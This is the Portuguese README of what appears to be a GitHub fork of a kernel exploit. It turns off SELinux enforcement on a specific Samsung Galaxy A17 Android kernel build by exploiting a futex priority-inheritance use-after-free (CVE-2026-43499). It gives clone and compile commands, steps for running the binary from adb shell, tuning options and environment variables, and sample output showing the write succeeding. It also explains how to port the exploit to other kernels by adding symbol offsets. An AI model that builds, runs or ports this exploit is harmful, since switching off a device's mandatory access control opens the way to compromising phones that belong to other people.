ghost-hoock

Um fork minimal do GhostLock que mantém apenas uma primitiva: desligar o SELinux via CVE-2026-43499 (futex PI UAF).

Índice

• O que é isto
• Como funciona
• O que foi mantido do original
• O que foi removido
• Compilação
• Execução
• Requisitos
• Limitações e riscos
• Estrutura do projeto
• Licença
• Créditos
• Links

O que é isto

ghost-hoock é um fork reduzido do exploit GhostLock do Mobile Hacking Lab, reduzido a uma única primitiva:

Uma escrita restrita via futex PI UAF -> selinux_enforcing = 0.

Sem root, sem sobrescrita de cred, sem canal rwforge, sem UMH, sem configfs. Apenas o mínimo necessário para colocar o SELinux em modo permissivo no kernel vulnerável.

Exemplo de saída num Samsung Galaxy A17 (SM-A175F, BZA5):

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

Depois:

$ getenforce
Permissive

getenforce retorna Permissive

Como funciona

O exploit tem como alvo o CVE-2026-43499 — um use-after-free na cadeia rt_mutex do PI (Priority Inheritance) do futex do kernel Linux. A cadeia no ghost-hoock tem quatro passos:

*(uint64_t *)target = value | color

O que foi mantido do original

Este é um fork de mobilehackinglab/ghostlock-a17 (MIT). O seguinte é retirado 1:1 do exploit upstream:

O código auxiliar (macros pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) também é mantido tal como está no original.

O que foi removido

O GhostLock original obtém root completo no A17: instala um canal físico de R/W rwforge, faz patch de cred / real_cred, executa um helper UMH com credenciais de init, captura logs e mais. No ghost-hoock, tudo o que vem depois da primeira escrita restrita desapareceu.

O GhostLock original continua a ser mais completo e poderoso do que este fork. O ghost-hoock não é um substituto — é um PoC mínimo para uma tarefa estreita: desligar o SELinux.

Compilação

No dispositivo (clang, Termux ou adb shell)

Requer clang e make no $PATH. Testado no Termux; também funciona via adb shell se a toolchain estiver presente.

git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

Saída: ./ghost-hoock (aarch64, PIE).

Via Android NDK (num PC)

make NDK=/path/to/android-ndk-r26

ou manualmente:

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

Verificação de compilação cruzada

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

Execução

# copiar o binário para um local legível a partir do contexto de shell
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirmar que o SELinux está atualmente em enforcing
getenforce
# -> Enforcing

# executar
/data/local/tmp/ghost-hoock

# verificar
getenforce
# -> Permissive

Opções

ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

Variáveis de ambiente

· GHOSTLOCK_CORE — 0..N. Núcleo de CPU ao qual a thread consumer é fixada. Predefinição: 0. · KPHYS — 0x.... Endereço físico de carregamento do kernel, se diferir de P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Número de páginas slab preparadas durante o spray. Predefinição: 32. · PSELECT_SHIFT — -14..14. Deslocamento de palavra do fd_set. Apenas para depuração. · FOPS_MAX_ATTEMPTS — 4..72. Máximo de tentativas de prepare_kernel_page para o payload FOPS. · RWF_DEBUG — qualquer valor. Imprime linhas de depuração da construção do payload.

Requisitos

• Dispositivo: Samsung Galaxy A17 SM-A175F (BZA5) — o alvo para o qual esta tabela de offsets foi extraída.
• Kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k.
• Contexto: tem de ser executado a partir do contexto SELinux shell (u:r:shell:s0), não a partir de uma app.
• Permissões: nada de especial — não é necessário root. O objetivo é precisamente desativar o SELinux sem root.

Portabilidade: outros dispositivos/kernels precisam da sua própria tabela de offsets. Adicione uma nova OFFSETS_ENTRY(...) em include/offsets_bza5.h com offsets de símbolos extraídos de vmlinux/kallsyms para essa build, e depois recompile.

Limitações e riscos

• São possíveis kernel panics. O fork herda o risco do original: um page_base errado ou uma escrita que aterre em memória não relacionada fará crashar o kernel. O fork tem menos superfície do que o original (sem rwforge, sem patch de cred, sem UMH), pelo que é estatisticamente mais seguro, mas não é 100% à prova de bala.
• O KASLR está desligado no BZA5. O exploit depende de slide = 0. Não há vazamento de KASLR neste fork. Se o portar para um kernel com KASLR ativo, tem de trazer de volta o slide.c do original.
• Apenas SELinux. O fork não dá root. Apenas escreve 0 em selinux_enforcing. Se precisar de root, use o ghostlock-a17 completo.
• Escrita única. Apenas a Write 1 (selinux_enforcing = 0) é mantida. Não tente estendê-la para a Write 2 ou para o pipeline rwforge sem compreender profundamente a rota PI.
• Requer que a escrita aterre em ~20 tentativas. Se a primeira tentativa W1 falhar, o ciclo repete. Num arranque recente com um sistema maioritariamente inativo, normalmente aterra à primeira tentativa.

Estrutura do projeto

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md

Licença

MIT — igual ao upstream ghostlock-a17. Ver LICENSE.

Este fork mantém o aviso de copyright original de mobilehackinglab (2026) e acrescenta por cima os autores do fork, conforme exigido pelos termos da MIT.

O projeto é publicado estritamente para investigação de segurança no seu próprio dispositivo. Executá-lo contra um dispositivo que não lhe pertence é ilegal na maioria das jurisdições.

Créditos

• Mobile Hacking Lab — exploit original ghostlock-a17, sobre o qual este fork é construído.
• IAIK KernelSnitch — técnica de vazamento de mm_struct.
• Investigadores originais do CVE-2026-43499 — pela engenharia reversa do futex PI UAF.

Links

• Exploit upstream: https://github.com/mobilehackinglab/ghostlock-a17
• Este fork: https://github.com/genksome/ghost-hoock
• CVE: CVE-2026-43499

_{Built for research. Tested on a single physical device. Use at your own risk.}